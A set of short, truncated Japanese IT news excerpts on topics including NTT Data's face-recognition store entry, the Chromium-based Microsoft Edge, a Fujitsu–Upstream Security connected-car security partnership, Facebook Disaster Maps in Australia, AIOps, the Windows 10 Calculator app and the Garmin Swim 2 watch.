NTTデータは1月16日、同社のデジタル実験店舗においてこれまでのQRコード認証による入店に加え、「顔認証入店」と「店頭在庫と連携したダイナミックプライシング」を導入すると発表した。新サービスを2022年度末までに小売業界1000店舗への導入を目指す。 顔認証による入店の様子 新サービスのうち顔認証入店は、顔パスで入店から決済までを可能とし、新たな購買体験を提供するという。 また、店頭在庫と連携した電子プライスカードによって適正価格での販売が可能になり、売り上げ向上や廃棄ロス削減を検証する。 電子プライスカードの設置状況 顔認証入店については、消費者が事前にスマートフォンから顔情報を登録し、入店ゲートに設置したタブレットで顔認証し入店するという。 従来のQRコード認証による入店に加えて顔認証による入店が可能になることで、スマートフォンを取り出す必要が無くなり、顔パスで入店から商品購入までの

Microsoftは1月15日(米国時間)、「The new Microsoft Edge now available for download - Microsoft 365 Blog」において、Chromiumなどのオープンソース・ソフトウェアをベースに開発された新たな「Microsoft Edge」の提供を開始したと伝えた。 Windows Updateを通じて自動的にMicrosoft Edgeへの切り替えが行われるほか、「Download New Microsoft Edge Browser | Microsoft」からダウンロードしてインストールすることでも利用を開始することができる。 Chromium版Microsoft Edgeの初回起動時に表示されるスクリーン 主要Webブラウザのデザインはシンプル化が進み、ますます見分けが難しくなってきている。Chromiumをベースに

富士通とコネクテッドカー向けセキュリティ技術を保有するイスラエルのUpstream Security(アップストリームセキュリティ)は1月16日、コネクテッドカーのセキュリティ分野で協業することに合意したと発表した。今回の協業のもと、両社はコネクテッドカーのためのセキュリティオペレーションセンター(Vehicle Security Operation Center)向けのソリューションを共同で開発していく。 近年、コネクテッドカーの増加により、これらの車両や関連機器に対するサイバー攻撃のリスクが高まっているほか、コネクテッドカーのサイバーセキュリティにおける義務化や標準化については、国際連合の自動車基準調和世界フォーラムをはじめ国内外で議論されている。 自動車メーカーや車両を管理する事業者は、車両との間でやり取りされるデータの改ざんや車両制御アプリケーションの脆弱性を悪用した不正開錠等へ対

Facebookによる災害時に利用できる機能はいくつか知られており、災害が発生した際に自分が「無事」であることを報告できる機能などがある。そのため、Facebookユーザーの生成する情報が、史上最悪の森林火災が続くオーストラリアで、どのように現地の被災者に活用されているかということを知るのは興味深い。 Facebookの「Disaster Maps」は、Facebookで位置情報や位置情報履歴を有効にしているユーザーの情報によって生成される、リアルタイムのデータポイントを集めたものだ。Facebookによると、これらの地図は、災害が報告されてから24時間以内に生成され、災害対応にあたる人々による「素早く効率的な救命活動」に役立つという。 当局と共有されている地図は4つある。ニューサウスウェールズ州のサウスコースト、ビクトリア州のイーストギプスランド、ニューサウスウェールズ州のグリーンワトル

ITシステム／サービスがビジネスとイコールの関係になっている今、運用管理の在り方こそが「ビジネスの成果」を左右し得る状況になっている。こうした中、一部で注目を集めているAIOps（Artificial intelligence for IT Operations）は運用管理者の役割をどう変えていくのだろうか。 「AIOps」がもたらすもの ITがビジネスのコアとなって久しい近年、開発・運用の在り方がビジネスの成果に直結する状況になっている。社外のコンシューマー向けサービスはもちろん、社内向けの業務システムでも、そのパフォーマンスや安定性が販売機会やロイヤルティーに多大な影響を与えるといった認識も、多くの企業に浸透したといえるだろう。 とはいえ、多様なクラウドサービスやソフトウェア、OSS（オープンソースソフトウェア）なども混在した環境が一般的な上、トラフィックの増減など外部要因も加わる中で

Webブラウザのアドレスバーに式を入力することでも簡単な計算が行えるが、Windows 10の「電卓」アプリを使うという人も結構多いのではないだろうか。 この「電卓」アプリには、単純な電卓機能だけでなく、日付の計算や通貨の変換など、便利な機能が実装されている。そこで、本Tech TIPSでは、この「電卓」アプリの機能を紹介する。 「電卓」アプリの起動方法 「電卓」アプリは、［スタート］メニューの「た」の項にある［電卓］を選択するか、タイルの［電卓］アイコンをクリックすることで起動できる。また、［Windows］＋［R］キーで［名前を指定して実行］ダイアログを開き、「名前」入力ボックスに「calc」と入力して、［Enter］キーを押してもよい。

ガートナーの米国本社発のオフィシャルサイト「Smarter with Gartner」と、ガートナー アナリストらのブログサイト「Gartner Blog Network」から、＠IT編集部が独自の視点で“読むべき記事”をピックアップして翻訳。グローバルのITトレンドを先取りし「今、何が起きているのか、起きようとしているのか」を展望する。 Google X、Amazon Lab126、Microsoft Research、IBM Garage、Facebook Reality Labs。現在、ほぼ全ての大手IT企業が独自のイノベーションラボを擁している。そこではアイデアが開花し、新製品が生まれている。 イノベーションラボの創設は技術リーダーが成長を後押しし、新しいアイデアを推進する一般的な方策だ。物理的な場か仮想的な場かにかかわらず、これらの施設は、企業が業界の先端を走り続けられるよう支援

ガーミンジャパン（Garmin）は16日、水中心拍計を搭載したスイミング用GPSスマートウォッチ「Garmin Swim2（ガーミン スイム 2）」を発表した。予約開始は1月23日から、発売は1月30日から。カラーはWhitestoneとSlateの2色で、価格は29,800円（税別）。 「Garmin Swim2」左：Whitestone、右：Slate。GPSを搭載することで、海や川、湖といった屋外でも距離やペース、ストローク数、SWOLFの計測が可能で、睡眠や歩数、消費カロリー、ストレスレベル、週間運動量、移動距離など日常生活の状態をモニタリングできるのに加え、ランニングやサイクリングなどのアクティビリティにも対応する 「水中心拍計」を時計内に搭載したスイミング用のGPS搭載スマートウォッチ。心拍ベルトを胸に装着することなく水中での心拍の状態を計測できる。 スイミングアクティビティ計